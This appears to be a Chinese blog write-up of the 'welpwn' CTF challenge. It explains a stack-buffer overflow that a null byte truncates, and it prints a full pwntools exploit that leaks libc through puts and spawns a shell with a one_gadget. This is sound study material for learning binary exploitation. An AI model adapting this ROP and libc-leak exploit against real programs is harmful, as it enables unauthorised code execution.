攻防世界 pwn welpwn


  感覺好久沒有水博客了,今天借助這道題來告訴自己做pwn題要多調試!!!

  先檢查了保護只開啟了堆棧不可執行,接下來ida看一下偽代碼:

  這里可以往buf進行寫入,接下來看一下echo函數:

  大概意思就是將buf的內容寫入s2中,s2距離rbp只有0x10,所以可以進行溢出。這里我剛開始的時候是直接構造的rop,leakbaselibc,但是一直沒有回顯。后來我又將返回地址寫成了start看看能不能讓程序再次執行,發現是可以的。后來檢查了一下,發現是向s2中賦值的時候,遇到'\x00'就會中斷for循環,所以不能構造rop鏈。這可怎么辦,看了大佬們的博客,然后我也試着調試了一下。

  這里可以看到,當我們輸入aaaaaaaa的時候,首先是存在buf中,然后調用echo函數的時候賦值給了s2,所以s2的值也是aaaaaaaa,這里很明顯可以看到兩個變量在棧中的距離是0x20。

  此時的棧空間布局大概就是如圖了,那我們應該怎么辦呢?那就是利用棧連續,來構造rop鏈。將返回地址覆蓋成pop|ret就可以執行leaklibc了。

  棧的布局就是上面這個圖了,貼一下我的exp:

 1 from pwn import *
 2 
 3 p = process('./welpwn')
 4 elf = ELF('./welpwn')
 5 context.log_level = 'debug'
 6 
 7 start = elf.symbols['_start']
 8 write_got = elf.got['write']
 9 puts_plt = elf.plt['puts']
10 pop_rdi = 0x004008a3
11 ret = 0x0400589
12 pop_four = 0x0040089c
13 
14 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
15 payload += p64(pop_rdi) + p64(write_got) + p64(puts_plt) + p64(start)
16 p.sendlineafter('RCTF\n',payload)
17 sleep(1)
18 p.recv(0x2b)
19 write_addr = u64(p.recv(6).ljust(8,'\x00'))
20 print hex(write_addr)
21 
22 base_addr = write_addr - 0x0f72b0
23 shell_addr = base_addr + 0xf02a4
24 
25 payload = 'a'*0x10 + 'bbbbbbbb' + p64(pop_four)
26 payload += p64(shell_addr)
27 p.sendline(payload)
28 sleep(1)
29 p.interactive()
30 '''
31 0x45216 execve("/bin/sh", rsp+0x30, environ)
32 constraints:
33   rax == NULL
34 
35 0x4526a execve("/bin/sh", rsp+0x30, environ)
36 constraints:
37   [rsp+0x30] == NULL
38 
39 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
40 constraints:
41   [rsp+0x50] == NULL
42 
43 0xf1147 execve("/bin/sh", rsp+0x70, environ)
44 constraints:
45   [rsp+0x70] == NULL
46 '''

  我看師傅們還有用DynELF做的,我大概看了一下,發現也是leak地址然后找system的地址,以前也經常聽師傅們說這個東西,但是我目前還沒遇到說必須用那個東西做的題,就不復現那種方法了。感覺都差不多。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM